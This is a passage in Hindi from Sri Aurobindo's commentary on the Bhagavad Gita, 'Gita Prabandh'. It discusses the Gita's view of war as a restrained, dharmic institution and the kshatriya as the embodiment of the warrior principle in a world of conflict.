गीता प्रबंध -अरविन्द पृ. 51

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गीता-प्रबंध
6.मनुष्य और जीवन-संग्राम

यह बात ध्यान में रखनी चाहिये कि गीता जो युद्ध करने को कहती है वह ऐसा ही युद्ध था और इन्हीं अवस्थाओं से अंतर्गत लड़ा जाता था, वह युद्ध जो मानव - जीवन का एक अपरिहार्य अंग माना जाता था, पर वह इतना मर्यादित ओर संयमित था कि अन्य कर्मो के समान यह कर्म भी मनुष्य के नैतिक और आध्यात्मिक विकास में सहायक होता था । और यह नैतिक और आत्मिक विकास ही उस काल में जीवन का एकमात्र और वास्तविक लक्ष्य था, वह युद्ध कतिपय छोटे से दायरों के अंदर ही व्यक्तियों के जीवन का संहार - कार्य करता था किंतु इस प्रकार के युद्ध द्वारा योद्धा के आंतिरिक जीवन का गठन होता था और जाति की नैतिक उन्नति भी । पूर्वकाल में उस उच्च आदर्श को सामने रखकर जो युद्ध किये जाते थे उनसे उत्कर्ष ही साधित होता था। यह बात चाहे चरमपंथी दुराग्रही शांतिवादी न स्वीकार करें, पर शौर्य और वीरता को युद्ध ने ही विकसित किया है, भारत का क्षात्र - धर्म और जापान का सामुराई - धर्म युद्ध के ही फल है। हां , अपना काम कर चुकने के बाद भले ही युद्ध संसार से विदा हो जाये; कारण इसकी उपयागिता समाप्त हो जाने पर भी यदि यह बने रहना चाहे तो यह हिंसा की एक अप्रशमित क्रूरता के रूप में ही प्रकट होगा और क्योंकि इसमें युद्ध का आदर्श और संगठनात्मक पहलू होगा ही नहीं , इसलिये मनुष्य का प्रगतिशील मन इसको त्याग देगा। परंतु विकास के इतिहास को यदि विवेकपूर्वक देखें तो पूर्वकाल में युद्ध ने मनुष्यजाति की जो सेवा की है उसे स्वीकार करना ही होगा।
युद्ध का भौतिक तत्व जीवन के एक सर्वसामान्य तत्व की विशेष और बाह्म अभिव्यक्तिमात्र है और मानव - जीवन की पूर्णता के लिये जिस वैशिष्टय की आवश्यकता है क्षत्रिय उसकी एक बाह्म अभिव्यक्ति और नमूना है। हम लोगों के क्या आंतरिक और क्या बाह्म दोनों ही प्रकार के जीवन में, संघर्ष का जो पहलू है वही एक विशिष्ट भौतिक आकार धारण करके युद्ध के रूप में प्रकट होता है। यह संसार संघर्ष का क्षेत्र है, यहां का तरीका है कि विभिन्न शक्तियां एक - दूसरे से टकराती और भिडती हैं और इस तरह परस्पर संहार के द्वारा एक ऐसे सतत परिवर्तनशील सामंजस्य की ओर आगे बढती है जो स्वयं किसी प्रगतिशील सुसंगति- साधन का द्योतक है तथा पूर्ण समन्वय की आशा दिलाता है, और इसका आधार है एकता की एक एसी निहित संभावना जो अभी तक पकड़ में नहीं आयी हैं । क्षत्रिय, मनुष्य में विद्यमान योद्धा का प्रतीक और मूर्त रूप है। वह इसे अपने जीवन का सिद्धांत बना लेता है ओर योद्धा के नाते युद्ध का सामना करता हुआ विजय के लिये यत्न करता है , मानव शरीरों और रूपों का संहार करने में तो वह नहीं हिचकता , पर इस संहार - कर्म में उसका लक्ष्य होता है किसी ऐसे सत्य , न्याय और धर्म के सिद्धांत की उपलब्धि जो उस सामंजस्य की बुनियाद हो सके जिसकी ओर यह सारा संघर्ष प्रवाहित हो रहा हैं ।


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टीका टिप्पणी और संदर्भ

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